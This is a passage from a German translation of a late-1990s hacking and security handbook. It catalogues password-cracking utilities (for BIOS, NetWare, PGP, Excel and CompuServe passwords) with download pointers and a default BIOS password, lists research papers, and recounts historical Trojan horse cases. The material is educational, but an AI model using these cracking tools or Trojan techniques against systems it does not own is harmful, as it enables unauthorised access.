Glide finden Sie unter http://www.iaehv.nl/users/rvdpeet/unrelate/ glide.zip .
AMI Decode (Autor unbekannt)
AMI Decode wurde ausdrücklich dazu entwickelt, das CMOS-Paßwort von jedem Rechner, der das
American-Megatrends-BIOS benutzt, zu knacken. Bevor Sie jetzt jedoch nach diesem Utility suchen,
probieren Sie erstmal das Standard-CMOS-Paßwort aus. Es ist, welch Zufall, AMI. Auf alle Fälle
funktioniert das Programm. Und das ist, was zählt.
Wegweiser:
Um AMI Decode zu finden, benutzen Sie den Suchbegriff amidecod.zip.
NetCrack von James O'Kane
NetCrack ist ein interessantes Utility für die Novell-NetWare-Plattform. Es führt einen
Brute-Force-Angriff gegen die Bindery durch. Es ist langsam, aber doch recht zuverlässig.
Wegweiser:
Um NetCrack zu finden, benutzen Sie den Suchbegriff netcrack.zip.
PGPCrack von Mark Miller
Bevor Leser, die PGP benutzen, sich allzusehr über PGPCrack aufregen, stelle ich Ihnen ein paar
Hintergrundinformationen zur Verfügung. Pretty Good Privacy (PGP) ist wohl das stärkste und
zuverlässigste Verschlüsselungsutility, das für den öffentlichen Bereich verfügbar ist. Sein Autor, Phil
Zimmerman, faßt es wie folgt zusammen:
PGP benutzt Public-Key-Verschlüsselung zum Schutz von E-Mail und Datendateien.
Kommunizieren Sie sicher mit Fremden, sie brauchen keine sicheren Kanäle für die
Übertragung von Schlüsseln. PGP ist gut ausgestattet und schnell, verfügt über ein
raffiniertes Schlüssel-Management, digitale Signaturen, Datenkomprimierung und ist gut
und ergonomisch designt.
Paßwort-Knacker
file:///d|/cool stuff/old/hack/kap11.htm (20 von 28) [19.04.2000 21:14:40]
PGP kann eine Reihe von Verschlüsselungstechniken anwenden. Eine davon, die auch in Kapitel 13
»Sniffer« angesprochen wird, ist IDEA. Um Ihnen eine Vorstellung davon zu geben, wie schwierig das
Knacken von IDEA ist, finden Sie hier einen Auszug aus einem PGP-Angriff-FAQ, der von Route
geschrieben wurde (Route ist eine Autorität auf dem Gebiet der Verschlüsselung und Mitglied von The
Guild, einer Gruppe von Hackern.):
Wenn Sie 1.000.000.000 Rechner hätten, die 1.000.000.000 Schlüssel pro Sekunde
ausprobieren könnten, würde es immer noch mehr Zeit in Anspruch nehmen, als bisher seit
der Existenz des Universums vergangen ist, den Schlüssel zu finden. Mit der heutigen
Technologie ist IDEA schlicht und einfach nicht anfällig für Brute-Force- Angriffe.
Im Endeffekt ist eine Nachricht, die mit einem 1.024-Bit-Schlüssel verschlüsselt ist, der mit einem guten
und langen Paßwort-Satz generiert wurde, nicht zu knakken. Warum hat Herr Miller also dieses
interessante Tool geschrieben? Paßwortsätze können schlecht gewählt sein und wenn Sie eine
PGP-verschlüsselte Nachricht knacken wollen, ist der Paßwortsatz einen guter Anfangspunkt. Miller
berichtet:
Auf einem 486/66DX fand ich heraus, daß es ungefähr 7 Sekunden dauert, eine 1,2-
Mbyte-Paßwortsatz-Datei einzulesen und zu versuchen, die Datei unter Benutzung jeden
Paßwortsatzes zu entschlüsseln. Wenn man bedenkt, daß die NSA, andere
Regierungsbehörden und große Unternehmen über wesentlich größere Rechnerleistung
verfügen, ist der Vorteil eines großen, zufällig gewählten Paßwortsatzes offensichtlich.
Ist dieses Utility wirklich zu etwas zu gebrauchen? Es ist recht vielversprechend. Miller legt den
Source-Code der Distribution bei, ebenso eine Datei mit möglichen Paßwortsätzen (ich habe entdeckt,
daß ich mindestens einen dieser Paßwortsätze schon benutzt habe). Das Programm wurde in C
geschrieben und läuft in DOS-, Unix- und OS/2-Umgebungen.
Wegweiser:
PGPCrack ist auf mehreren zuverlässigen Sites erhältlich, darunter
http://www.voicenet.com/~markm/pgpcrack.html (DOS-Version)
http://www.voicenet.com/~markm/pgpcrack-os2.zip (OS/2-Version)
http://www.voicenet.com/~markm/pgpcrack.v99b.tar.gz (Unix-Version).
ICS Toolkit von Richard Spillman
Das ICS Toolkit ist ein Allzweck-Utility für das Studium der Kryptoanalyse. Es läuft gut unter
Windows 3.11, ist aber schwieriger unter Windows 95 oder Windows NT zu benutzen. Es benutzt eine
alte Version von VBRUN300.DLL, daher empfehle ich Benutzern neuerer Versionen diese in ein
temporäres Verzeichnis zu verschieben. (Die ICS-Applikation wird sich nicht installieren lassen, wenn
sie ihre Version von VBRUN300.DLL nicht in das c:\windows\system -Verzeichnis schreiben
kann.) Dieses Utility wird Ihnen beibringen, wie Chiffren erstellt werden und wie man sie knacken kann.
Es ist wirklich recht umfassend, wenn man es einmal in Gang gesetzt hat. Es wurde für ältere
Microsoft-Windows-Versionen programmiert und das Interface ist eher nützlich als attraktiv.
Paßwort-Knacker
file:///d|/cool stuff/old/hack/kap11.htm (21 von 28) [19.04.2000 21:14:40]
EXCrack von John E. Kuslich
EXCrack regeneriert Paßwörter, die in der Microsoft-Excel-Umgebung angewandt werden. Herr Kuslich
erklärt ausdrücklich, daß diese Software nicht frei erhältlich ist, sondern unter Lizenz (und Copyright)
vertrieben wird. Daher kann ich keine Screenshots oder Zitate zur Verfügung stellen. Aber es wird mir
wohl erlaubt sein zu sagen, daß das Utility gut funktioniert.
Wegweiser:
Um EXCrack zu finden, benutzen Sie den Suchbegriff excrak.zip.
CP.EXE von Lyal Collins
CP.EXE regeneriert oder knackt Paßwörter für CompuServe, die in CISNAV oder WINCIM generiert
werden. Angeblich funktioniert es auch für DISCIM-Paßwörter. Mit CP.EXE können Sie schnell und
zuverlässig überprüfen, ob Ihr Paßwort anfällig für Angriffe ist.
Wegweiser:
CP.EXE ist weit verbreitet und kann mit dem Suchbegriff cis_pw.zip gefunden werden.
Es gibt noch weit über 100 andere derartige Utilities, die ich nicht alle hier auflisten kann. Ich denke, daß
die vorangehende Liste ausreicht, damit Sie anfangen können, sich mit Paßwortsicherheit zu
beschäftigen. Zumindest können Sie diese Utilities nutzen, um die Sicherheit Ihrer Paßwörter zu testen.
11.5 Informationsquellen
An diesem Punkt möchte ich einige Konzepte in punkto Paßwortsicherheit ansprechen und Ihnen dann
einige Quellen für weiterführende Informationen zur Verfügung stellen.
Ich hoffe, daß Sie sich jedes der Dokumente, auf die ich gleich verweisen werde, ansehen. Wenn Sie
wirklich etwas über Sicherheit lernen wollen, sollten Sie diesem Muster über das ganze Buch folgen.
Wenn Sie die Quellenangaben in der angegebenen Reihenfolge bearbeiten, werden Sie vieles zum Thema
Paßwortsicherheit lernen. Wenn Sie jedoch nur wenig Zeit haben, geben Ihnen die folgenden Abschnitte
zumindest einen ersten Einblick in das Gebiet der Paßwortsicherheit.
11.5.1 Ein paar Worte zur Unix-Paßwortsicherheit
Wenn sie richtig implementiert werden, sind die Sicherheitsmaßnahmen für Unix-Paßwörter recht
zuverlässig. Das Problem ist, daß Leute schwache Paßwörter wählen. Da Unix ein Multi-User-System
ist, stellt leider jeder Benutzer mit einem schwachen Paßwort ein Risiko auch für die restlichen Benutzer
dar. Dies ist ein Problem, das angesprochen werden muß:
Es ist sehr wichtig, daß alle Benutzer in einem System ein Paßwort wählen, das nicht leicht
zu raten ist. Die Sicherheit jedes einzelnen Benutzers ist wichtig für die Sicherheit des
Gesamtsystems. Benutzer haben oft keine Ahnung, wie ein Multi-User- System funktioniert
und realisieren nicht, daß die Wahl eines leicht zu merkenden Paßworts es indirekt einem
Außenstehenden ermöglicht, das gesamte System zu manipulieren.6
Paßwort-Knacker
file:///d|/cool stuff/old/hack/kap11.htm (22 von 28) [19.04.2000 21:14:40]
Tip:
Das Papier Unix Password Security gibt einen hervorragenden Überblick über die genaue Arbeitsweise
von DES innerhalb des Unix-Paßwortsystems. Es beinhaltet eine schematische Darstellung, die den
eigentlichen Verschlüsselungsprozeß mit DES veranschaulicht. Für Neulinge auf dem Gebiet der
Sicherheit ist dieses Papier ein hervorragender Ausgangspunkt.
Wegweiser:
Sie finden Unix Password Security mit Hilfe des Suchbegriffs password.ps.
Was sind schwache Paßwörter? Üblicherweise sind dies alle Wörter, die in einem Wörterbuch
vorkommen könnten. Darüber hinaus sind Eigennamen eine schlechte Wahl für Paßwörter. Das
Theoretisieren darüber, welche Paßwörter leicht zu knacken sind, führt jedoch zu nichts. Man kann
allerdings sicher sagen, daß alle Paßwörter, die in einer Paßwort- Cracking-Wortliste im Internet zu
finden sind, schlecht sind.
Wegweiser:
Beginnen Sie Ihre Suche nach Wortlisten unter http://sdg.ncsa.uiuc.edu/ ~mag/Misc/Wordlists.html.
Wenn Sie die Paßworte Ihres Netzwerks regelmäßig auf ihre Widerstandsfähigkeit überprüfen, können
Sie sicherstellen, daß Cracker nicht eindringen können (zumindestens nicht, indem sie schwache
Paßwörter ausnutzen). Solch ein Vorgehen kann die Sicherheit Ihres Systems enorm stärken. Tatsächlich
benutzen viele Internet Service Provider und Betreiber anderer Sites heute Tools, die ein
Benutzerpaßwort überprüfen, wenn es zum erstenmal angewandt wird. Dies basiert auf der Philosophie,
daß
die beste Lösung für das Problem leicht zu erratender Paßwörter in einem System ist, daß
diese Paßwörter gar nicht erst in das System kommen. Wenn ein Programm wie ein
Paßwort-Knacker bereits vorhandene knackbare Paßwörter entdeckt, dann ist das
Sicherheitsloch zwar gefunden, aber es bestand mindestens so lange, wie das Programm
brauchte, um es zu entdecken. Wenn aber das Programm Paßwörter bereits auf ihre
Sicherheit überprüft, bevor sie mit dem Benutzer-Account verbunden werden, kann ein
entsprechendes Sicherheitsloch erst gar nicht entstehen.7
Tip:
Das Papier »Improving System Security via Proactive Password Checking« ist wohl eine der besten
Fallstudien und Abhandlungen zum Thema leicht zu erratender Paßwörter. Es geht sehr tief in der
Behandlung des Themas und illustriert anhand von Beispielpaßwörtern, daß viele Paßwörter nicht
sicher sind, auch wenn wir denken, daß sie es sind.
Hinweis:
Paßwort-Knacker
file:///d|/cool stuff/old/hack/kap11.htm (23 von 28) [19.04.2000 21:14:40]
Viele der Dateien, in denen Sie die erwähnten Dokumente finden, haben *.ps-Erweiterungen, d.h., es
handelt sich um PostScript-Dateien. PostScript ist eine Sprache und eine Methode, Dokumente
vorzubereiten, die von Adobe, den Machern von Acrobat und Photoshop, entwickelt wurde.
Um eine PostScript-Datei zu lesen, brauchen Sie einen Viewer. Einen guten Viewer bekommen Sie als
Shareware unter http://www.cs.wisc.edu/ ~ghost/.
Ein anderes gutes Paket (und nicht ganz so groß), ist ein Utility namens Rops. Rops gibt es für Windows
unter
http://www5.zdnet.com/ (die ZDNet-Software-Bibliothek)
http://oak.oakland.edu/ (das Oak-Software-Repository)
Wegweiser:
Sie finden »Improving System Security via Proactive Password Checking« mit Hilfe des Suchbegriffs
bk95.ps.
Andere wichtige Papiere sind:
»Observing Reusable Password Choices«
Purdue Technical Report CSD-TR 92-049
Eugene H. Spafford
Department of Computer Sciences, Purdue University
Datum: 3. Juli 1992
Suchbegriff: Observe.ps
»Password Security: A Case History«
Robert Morris und Ken Thompson
Bell Laboratories
Datum: Unbekannt
Suchbegriff: pwstudy.ps
»Opus: Preventing Weak Password Choices«
Purdue Technical Report CSD-TR 92-028
Eugene H. Spafford
Department of Computer Sciences, Purdue University
Datum: Juni 1991
Paßwort-Knacker
file:///d|/cool stuff/old/hack/kap11.htm (24 von 28) [19.04.2000 21:14:40]
Suchbegriff: opus.PS.gz
»Federal Information Processing Standards Publication 181«
Announcing the Standard for Automated Password Generator
Datum: 5. Oktober 1993
URL: http://www.alw.nih.gov/Security/FIRST/papers/password/fips181.txt
»Augmented Encrypted Key Exchange: A Password-Based Protocol Secure Against Dictionary Attacks
and Password File Compromise«
Steven M. Bellovin und Michael Merrit
AT&T Bell Laboratories
Datum: Unbekannt
Suchbegriff: aeke.ps
»A High-Speed Software Implementation of DES«
David C. Feldmeier
Computer Communication Research Group
Bellcore
Datum: Juni 1989
Suchbegriff: des.ps
»Using Content Addressable Search Engines to Encrypt and Break DES«
Peter C. Wayner
Computer Science Department
Cornell University
Datum: Unbekannt
Suchbegriff: desbreak.ps
»Encrypted Key Exchange: Password-Based Protocols Secure Against Dictionary Attacks«
Steven M. Bellovin und Michael Merrit
AT&T Bell Laboratories
Datum: Unbekannt
Suchbegriff: neke.ps
Paßwort-Knacker
file:///d|/cool stuff/old/hack/kap11.htm (25 von 28) [19.04.2000 21:14:40]
»Computer Break-Ins: A Case Study«
Leendert Van Doorn
Vrije Universiteit, Niederlande
Datum: 21. Januar 1993
Suchbegriff: holland_case.ps
»Security Breaches: Five Recent Incidents at Columbia University«
Fuat Baran, Howard Kaye und Margarita Suarez
Center for Computing Activities
Colombia University
Datum: 27. Juni 1990
Suchbegriff: columbia_incidents.ps
11.5.2 Andere Informationsquellen und Dokumente
Dieser Abschnitt enthält eine Liste anderer Informationsquellen. Einige sind nicht über das Internet
erhältlich. Sie können manche Artikel jedoch über verschiedene Online-Dienste (vielleicht Uncover)
erhalten. Nach einigen Artikeln müssen Sie vielleicht intensiver suchen, z.B. über die Library of
Congress (locis.loc.gov) oder über effektivere Tools wie WorldCat (www.oclc.org).
»Undetectable Online Password Guessing Attacks«
Yun Ding und Patrick Horster,
OSR, 29(4), pp. 77-86
Datum: Oktober 1995
»Optimal Authentication Protocols Resistant to Password Guessing Attacks«
Li Gong
Stanford Research Institute
Computer Science Laboratory
Men Park, CA
Datum: Unbekannt
Paßwort-Knacker
file:///d|/cool stuff/old/hack/kap11.htm (26 von 28) [19.04.2000 21:14:40]
Suchbegriff: optimal-pass.dvi oder optimal-pass.ps
»A Password Authentication Scheme Based on Discrete Logarithms«
Tzong Chen Wu und Chin Chen Chang
International Journal of Computational Mathematics; Vol. 41, Number 1-2, pp. 31-37
1991
»Differential Cryptanalysis of DES-Like Cryptosystems«
Eli Biham und Adi Shamir
Journal of Cryptology, 4(1), pp. 3-72
1990
»A Proposed Mode for Triple-DES Encryption«
Don Coppersmith, Don B. Johnson und Stephen M. Matyas
IBM Journal of Research and Development, 40(2), pp. 253-262
März 1996
»An Experiment on DES Statistical Cryptanalysis«
Serve Vaudenay
Conference on Computer and Communications Security, pp. 139-147
ACM Press
März 1996
»Department of Defense Password Management Guideline«
Wenn Sie einen historischen Überblick über Paßwortsicherheit wollen, starten Sie mit dem »Department
of Defense Password Management Guideline.« Dieses Dokument wurde vom Department of Defense
Computer Security Center in Fort Meade, Maryland geschrieben.
Wegweiser:
Sie finden den »Department of Defense Password Management Guideline« unter
http://www.alw.nih.gov/Security/FIRST/papers/password/dodpwman.txt .
11.6 Zusammenfassung
Paßwort-Knacker bieten dem Systemadministrator einen wertvollen Dienst, da sie ihn auf schwache
Paßwörter in seinem Netzwerk aufmerksam machen. Das Problem ist nicht die Existenz von
Paßwort-Knackern, sondern die Tatsache, daß sie nicht oft genug von den »guten Jungs« benutzt werden.
Paßwort-Knacker
file:///d|/cool stuff/old/hack/kap11.htm (27 von 28) [19.04.2000 21:14:40]
1
Daniel V. Klein, A Survey of, and Improvements to, Password Security. Software Engineering Institute,
Carnegie-Mellon University, Pennsylvania. (22. Februar 1991)
2
K. Coady. Understanding Security for Users On and Offline. New England Telecommuting Newsletter,
1991.
3
Yaman Akdeniz, »Cryptography and Encryption«, August 1996, Cyber-Rights & Cyber-Liberties (UK)
unter http://www.leeds.ac.uk/law/pgs/yaman/cryptog.htm. Criminal Justice Studies
der Law Faculty der University of Leeds, Leeds LS2 9JT.
4
NIST, 30. Dezember 1993. »Data Encryption Standard (DES)«, Federal Information Processing
Standards Publication 46-2. http://csrc.nist.gov/fips/fips46-2.txt.
5
David Feldmeier und Philip R. Karn. Unix Password Security - 10 Years later.
6
Walter Belgers, Unix Password Security, 6. Dezember 1993.
7
Matthew Bishop, UC Davis, Kalifornien und Daniel Klein. LoneWolf Systems Inc., »Improving System
Security via Proactive Password Checking« (erschienen in Computer and Security (14, S. 233-249)),
1995
Markt+Technik, ein Imprint der Pearson Education Deutschland GmbH.
Elektronische Fassung des Titels: hacker's guide, ISBN: 3-8272-5460-4
Paßwort-Knacker
file:///d|/cool stuff/old/hack/kap11.htm (28 von 28) [19.04.2000 21:14:40]
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12
Trojanische Pferde
Dieses Kapitel behandelt eines der heimtückischeren Programme, die dazu benutzt werden,
Internet-Sicherheit zu umgehen: das Trojanische Pferd oder Trojaner.
12.1 Was ist ein Trojanisches Pferd?
Ein Trojanisches Pferd ist:
Unautorisierter Code innerhalb eines legitimen Programms. Dieser unautorisierte Code führt
Funktionen durch, die dem Benutzer nicht bekannt sind (und wahrscheinlich unerwünscht sind).
Ein legitimes Programm, das durch die Einbindung von unautorisiertem Code geändert wurde;
dieser Code führt Funktionen durch, die dem Benutzer nicht bekannt sind (und wahrscheinlich
unerwünscht sind).
Jedes Programm, das scheinbar erwünschte und notwendige Funktionen durchführt, tatsächlich
aber (aufgrund von unautorisiertem Code) Funktionen durchführt, die dem Benutzer nicht bekannt
sind (und wahrscheinlich unerwünscht sind).
Die unbefugten Funktionen, die der Trojaner durchführt, können manchmal auch als böswilliges
Programm gelten. Einige Viren passen in dieses Profil. Ein solcher Virus kann innerhalb eines ansonsten
nützlichen Programms verborgen sein. In diesem Fall kann das Programm sowohl als Trojaner als auch
als Virus bezeichnet werden.
Klassische Dokumente über Internet-Sicherheit definieren den Begriff Trojaner in unterschiedlicher Art
und Weise. Die vielleicht am meisten bekannte Definition befindet sich im RFC 1244, dem Site Security
Handbook:
Ein Trojanisches Pferd kann ein Programm sein, das etwas Nüztliches oder auch nur etwas
Interessantes tut. Es tut immer etwas Unerwartetes, wie beispielsweise ohne Ihr Wissen
Paßwörter stehlen oder Dateien kopieren.
Dr. Alan Solomon, ein international bekannter Virenspezialist, hat in seiner Arbeit »All about Viruses«
eine andere passende Definition gegeben:
Ein Trojaner ist ein Programm, das etwas mehr tut, als der Benutzer erwartet, und diese
zusätzliche Funktion ist zerstörerisch. Dies führt zu einem Problem, was die Aufdeckung von
Trojanische Pferde
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Trojanern betrifft. Sagen wir, ich hätte ein Programm geschrieben, das zuverlässig
entdecken könnte, ob ein anderes Programm die Festplatte formatiert hat. Kann es dann
sagen, daß dieses Programm ein Trojaner ist? Wenn das andere Programm die Festplatte
formatieren sollte (wie beispielsweise Format), dann ist es offensichtlich kein Trojaner.
Wenn aber der Benutzer das Formatieren der Festplatte nicht erwartete, dann ist es ein
Trojaner. Das Problem liegt darin zu vergleichen, was das Programm tut und was der
Benutzer erwartet. Sie können die Erwartungen eines Benutzers nicht bestimmen.
Wegweiser:
Sie können »All About Viruses« von Dr. Alan Solomon unter http://
www.drsolomon.com/vircen/vanalyse/va002.html finden.
Jeder, der etwas mit Computerviren zu tun hat (oder einfach mehr über Virustechnologie wissen
möchte), sollte sich Dr. Solomons Site ansehen unter http://www.drsolomon.com/ oder
http://www.drsolomon.de/.
Generell können Sie ein Trojanisches Pferd als ein Programm klassifizieren, das eine versteckte und
nicht gewünschte Funktion ausführt. Ein Trojaner kann in jeder Form daherkommen. Es kann ein Utility
sein, das angeblich Dateiverzeichnisse indiziert oder Registrierungscodes auf Software öffnet. Es kann
eine Textverarbeitung oder ein Netzwerk-Utility sein. Kurz, ein Trojanisches Pferd kann alles tun (und
überall gefunden werden).
Sie können das Konzept des Trojanischen Pferdes besser verstehen, wenn Sie sich die Herkunft seines
eher seltsamen, aber durchaus treffenden Namens ansehen. Im 12. Jahrhundert vor Christus erklärte
Griechenland Troja den Krieg. Der Sage nach begann der Streit, als der Prinz von Troja die Königin von
Sparta entführte, um sie zu seiner Frau zu machen. Die Griechen nahmen die Verfolgung auf und führten
einen 10 Jahre dauernden Krieg gegen Troja. Sie konnten Troja aber nicht erobern, da es zu gut geschützt
war.
In einem letzten Eroberungsversuch zog sich die griechische Armee zurück und hinterließ ein riesiges
hölzernes Pferd. Dieses Pferd war hohl und in ihm versteckten sich die besten griechischen Soldaten. Die
Trojaner sahen das Pferd und brachten es in der Annahme, daß es sich um ein Geschenk handele, in ihre
Stadt. In der folgenden Nacht kletterten die griechischen Soldaten aus dem Pferd und überwältigten die
Trojanische Armee im Schlaf.
12.2 Woher kommen Trojanische Pferde?
Trojanische Pferde werden von Programmierern geschaffen, in der Regel mit böswilligen Absichten.
Irgendwo auf diesem Planeten sitzt jetzt bestimmt ein Programmierer und entwickelt einen Trojaner.
Dieser Programmierer weiß genau, was er tut, und seine Absichten sind bösartig (oder zumindest nicht
selbstlos).
Die Autoren Trojanischer Pferde verfolgen in der Regel einen bestimmten Plan. Dieser Plan kann fast
alles sein, aber im Zusammenhang mit Internet-Sicherheit werden sie ihren Trojaner so programmieren,
daß er eines von zwei Dingen tut:
Irgendeine Funktion ausführen, die dem Programmierer entweder wichtige und privilegierte
Trojanische Pferde
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Informationen über ein System liefert oder dieses System beeinträchtigt.
Irgendeine Funktion verbergen, die dem Programmierer entweder wichtige und privilegierte
Informationen über ein System liefert oder dieses System beeinträchtigt.
Einige Trojaner tun beides. Zusätzlich existiert noch eine andere Klasse von Trojanischen Pferden, die
dem Ziel wirklich Schaden zufügt (z.B. könnte es Ihre Festplatte verschlüsseln oder umformatieren).
Trojanische Pferde können Informationen (bezüglich unautorisiertem Zugang oder allgemeine) sammeln
oder sogar Ihr System sabotieren.
Ein Trojanisches Pferd, das in das Sabotage-Profil paßt, ist der PC-CYBORG-Trojaner. Wie in einem
CIAC-Bulletin (Information about the PC CYBORG (AIDS) Trojan Horse) vom 19. Dezember 1989
erklärt wird:
Kürzlich gab es erhebliche Aufmerksamkeit von seiten der Medien für ein neues
Trojanisches Pferd, das angeblich Informationen über den AIDS-Virus für Benutzer von
IBM-PCs zur Verfügung stellt. Wenn es erst einmal in das System eingedrungen ist, ersetzt
das Trojanische Pferd die AUTOEXEC.BAT-Datei und zählt die Bootvorgänge, bis eine
bestimmte Zahl (90) erreicht ist. An diesem Punkt versteckt PC CYBORG Verzeichnisse und
vermischt (verschlüsselt) die Namen aller Dateien auf Laufwerk C:. Es gibt mehr als eine
Version dieses Trojaners und mindestens eine davon wartet nicht damit, dem Laufwerk C:
Schaden zuzufügen, sondern beginnt mit dem Verstekken von Verzeichnissen und
Vermischen von Dateinamen beim ersten Booten nach der Infizierung.
Wegweiser:
Sie finden das CIAC-Bulletin »Information About the PC CYBORG (AIDS) Trojan Horse« unter
http://www.ciac.org/ciac/bulletins/a-10.shtml.
Ein anderes Beispiel ist der AOLGOLD-Trojaner. Er wurde über Usenet durch E-Mail verteilt. Das
Programm war angeblich ein verbessertes Paket für den Zugang zu America Online (AOL). Die
Distribution bestand aus einer archivierten Datei, die dekomprimiert zwei Dateien enthüllte. Eine war
eine Standard-INSTALL.BAT-Datei. Die Ausführung der INSTALL.BAT-Datei führt dazu, daß 18
Dateien auf die Festplatte gebracht werden. In einem Sicherheitshinweis (Information on the AOLGOLD
Trojan Program) vom 16. Februar 1997 wird berichtet:
Das Trojanische Pferd wird durch die Ausführung der INSTALL.BAT-Datei gestartet. Die
INSTALL.BAT-Datei ist eine einfache Stapelverarbeitungsdatei, die die VIDEO.DRV-Datei
umbenennt in VIRUS.BAT. VIDEO.DRV ist eine amateurhafte
DOS-Stapelverarbeitungsdatei, die damit beginnt, den Inhalt mehrerer kritischer
Verzeichnisse auf Ihrem Laufwerk C: zu löschen, darunter
c:\
c:\dos
c:\windows
c:\windows\system
c:\qemm
c:\stacker
c:\norton
Trojanische Pferde
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Wenn die Stapelverarbeitungsdatei ihren Arbeitsablauf beendet, erscheint eine kurze
Nachricht auf dem Bildschirm und ein Programm namens DOOMDAY.EXE versucht zu
starten. Fehler in der Stapelverarbeitungsdatei verhindern einen Ablauf von
DOOMDAY.EXE. Andere Fehler in der Datei führen dazu, daß das Programm sich selbst
löscht, wenn es auf einem anderen Laufwerk als C: gestartet wird. Der Programmierstil und
die Fehler in der Stapelverarbeitungsdatei zeigen, daß der Autor des Trojanischen Pferdes
scheinbar nur wenig Programmiererfahrung hat.
Wegweiser:
Sie können den Sicherheitshinweis »Information on the AOLGOLD Trojan Program« online finden
unter http://www.emergency.com/aolgold.htm.
Diese Trojaner wurden von Amateurprogrammierern entwickelt: wahrscheinlich von Jugendlichen, die
Unruhe stiften wollten. Beide Trojaner waren destruktiv und führten keine raffinierten kollektiven oder
penetrativen Funktionen aus. Derartige Trojaner tauchen gewöhnlich auf dem Usenet auf.
Manchmal werden Trojanische Pferde auch von Programmierern eingeschleust, die an einer legitimen
Entwicklung arbeiten. In diesem Fall wird der unautorisierte Code von jemandem, der an der
Entwicklung beteiligt ist, in eine Applikation oder ein Utility (in seltenen Fällen auch in das
Betriebssystem selbst) integriert. Diese Situationen sind aus den folgenden Gründen viel gefährlicher:
Diese Trojaner sind nicht destruktiv (sie sammeln Informationen auf Systemen); in der Regel
werden sie nur durch Zufall entdeckt.
Vertrauenswürdige Sites können gefährdet werden, wie z.B. Sites, die Hunderten oder Tausenden
von Benutzern einen Internet-Zugang zur Verfügung stellen. Es könnten Sites der Regierung oder
Sites akademischer Einrichtungen sein, die sich von Sites kleiner Unternehmen unterscheiden. Im
Fall eines kleinen Unternehmens betrifft der Schaden in der Regel nur das Unternehmen selbst und
seine Benutzer. Das ist schlimm genug, betrifft aber nur dieses eine Unternehmen. Im Gegensatz
dazu kann die Gefährdung von Sites der Regierung oder denen akademischer Einrichtungen für
Tausende von Rechnern ein Risiko darstellen.
Manchmal beschädigen Programmierer, die nichts mit kommerzieller Entwicklung zu tun haben,
Schlüssel-Utilities für Unix. Diese Art der Beschädigung ist schon mehrfach vorgekommen und betraf
bei mehr als einer Gelegenheit sicherheitsrelevante Programme. Zum Beispiel wurde entdeckt, daß die
SATAN-1.0-Distribution für Linux ein Trojanisches Pferd enthielt.
Hinweis:
SATAN 1.0 war eine vorkompilierte Sammlung von Binärdateien für Linux- Anwender. Die
Binärdateien wurden an der Temple University kompiliert. Das Trojanische Pferd fand sich allerdings
nur in einer Freigabe, der Version 1.0.
Die betroffene Datei war ein Programm namens fping. Anscheinend bekam ein Programmierer Zugang
zu einem Rechner, auf dem sich der Source-Code befand. Er modifizierte die main()-Funktion und
änderte fping so, daß beim Ablauf von SATAN ein spezieller Eintrag in die /etc/passwd-Datei
plaziert wurde. Dieser spezielle Eintrag war ein Benutzer namens suser. Über die Benutzer-ID wollte
der Eindringling viele Hosts beeinträchtigen. Tatsächlich gab es nur zwei bekanntgewordene Fälle einer
Trojanische Pferde
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solchen Beeinträchtigung. Angeblich war die Programmierung mangelhaft und das verhinderte, daß der
Täter sein Vorhaben in die Tat umsetzen konnte. (Das Trojanische Pferd hatte keine Wirkung auf
Systemen mit Shadow- Paßwörtern.)
Hinweis:
Frühe Slackware-Distributionen bieten keine standardmäßige Unterstützung für Shadow-Paßwörter. In
den letzten Jahren sind die meisten Linux-Systeme allerdings auf die Benutzung von
Shadow-Funktionen umgestiegen. Der Programmierer, der für den SATAN-Trojaner verantwortlich
war, hat dies entweder nicht bedacht oder es einfach ignoriert.
12.3 Wo findet man Trojanische Pferde?
Trojaner können fast überall sein, in jeder Applikation, auf jedem Betriebssystem. Aus diesem Grund
sollten Sie Software, die Sie aus dem Internet herunterladen, immer mit Vorsicht genießen, insbesondere
wenn sie von Underground-Servern oder aus dem Usenet kommt.
Manchmal allerdings müssen Sie gar nicht in dunkle und verbotene Gassen reisen, um einem
Trojanischen Pferd zu begegnen. Manchmal tauchen Trojaner auch in größeren netzwerkweiten
Distributionen auf. 1994 beispielsweise versteckte jemand ein Trojanisches Pferd in WUFTPD. Die
Angelegenheit wurde in einer CIAC-Warnung besprochen:
Die CIAC hat Informationen erhalten, daß der Source-Code einiger Kopien des wuarchive
FTP Daemons (ftpd) in den Versionen 2.2 und 2.1f manipuliert worden sei und ein
Trojanisches Pferd enthielte. Dieser Trojaner ermöglicht es jedem Benutzer, ob lokal oder
entfernt, Root-Privilegien auf dem betroffenen Unix-System zu erhalten. Die CIAC empfiehlt
ausdrücklich, daß auf allen Sites, die über diese oder ältere Versionen des wuarchive ftpd
laufen, die Version 2.3 installiert wird. Es ist möglich, daß Versionen, die älter sind als 2.2
und 2.1f, das Trojanische Pferd ebenfalls beinhalten.
WUFTPD ist der weltweit meistbenutzte FTP-Server. Der WUFTPD-Trojaner betraf also Tausende von
Sites, sowohl öffentliche als auch private. Für viele dieser Sites besteht nach wie vor ein Risiko, weil ihre
Systemadministratoren nicht so sicherheitsbewußt sind, wie sie es sein sollten.
Hier sind einige andere bekannte Beispiele von Trojanischen Pferden:
Der StuffIt-4.5-Trojaner. Ende 1997 brachte jemand ein gefälschtes StuffIt-Deluxe- Programm
heraus. (StuffIt ist ein beliebtes Archivierungstool, das hauptsächlich auf Macintosh-Rechnern
eingesetzt wird.) Während der Installation löschte das Programm wichtige Systemdateien. Der
Hersteller von StuffIt, Aladdin Systems, verbreitete Hinweise über das Trojanische Pferd. Für
weitere Informationen gehen Sie zu http:// onyx.aladdinsys.com/news/091197-trojan.html.
Der AOL-Password-Trojaner. Mitte 1997 entwickelte jemand ein Trojanisches Pferd, das
Benutzernamen und Paßwörter von AOL-Anwendern offenlegen konnte. AOL-Anwender wurden
daraufhin gewarnt, 106 verschiedene betroffene Dateien nicht herunterzuladen. Das Progamm war
ein Utility, das Tastaturanschläge aufzeichnete. Sie finden die Namen der betroffenen Dateien
unter http://www.pcworld.com/news/daily/data/0697/ 970627trojan.html.
Der AOL4FREE-Trojaner. Im April 1997 entwickelte jemand ein Trojanisches Pferd namens
Trojanische Pferde
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AOL4FREE.COM (nicht zu verwechseln mit dem AOL4FREE-Virus, der im gleichen Jahr
auftauchte). Der Trojaner - der angeblich ein Tool war, um unautorisierten Zugang zu AOL zu
bekommen - zerstörte Festplatten-Laufwerke auf betroffenen Rechnern. Um mehr über dieses
Programm zu erfahren, schauen Sie sich den Hinweis von Data Defense Network an, den Sie unter
folgender URL finden: http://nic.mil/ftp/scc/sec- 9707.htm.
Der quota-Trojaner. 1996 verteilte jemand eine Version von quota, die ein Trojanisches Pferd
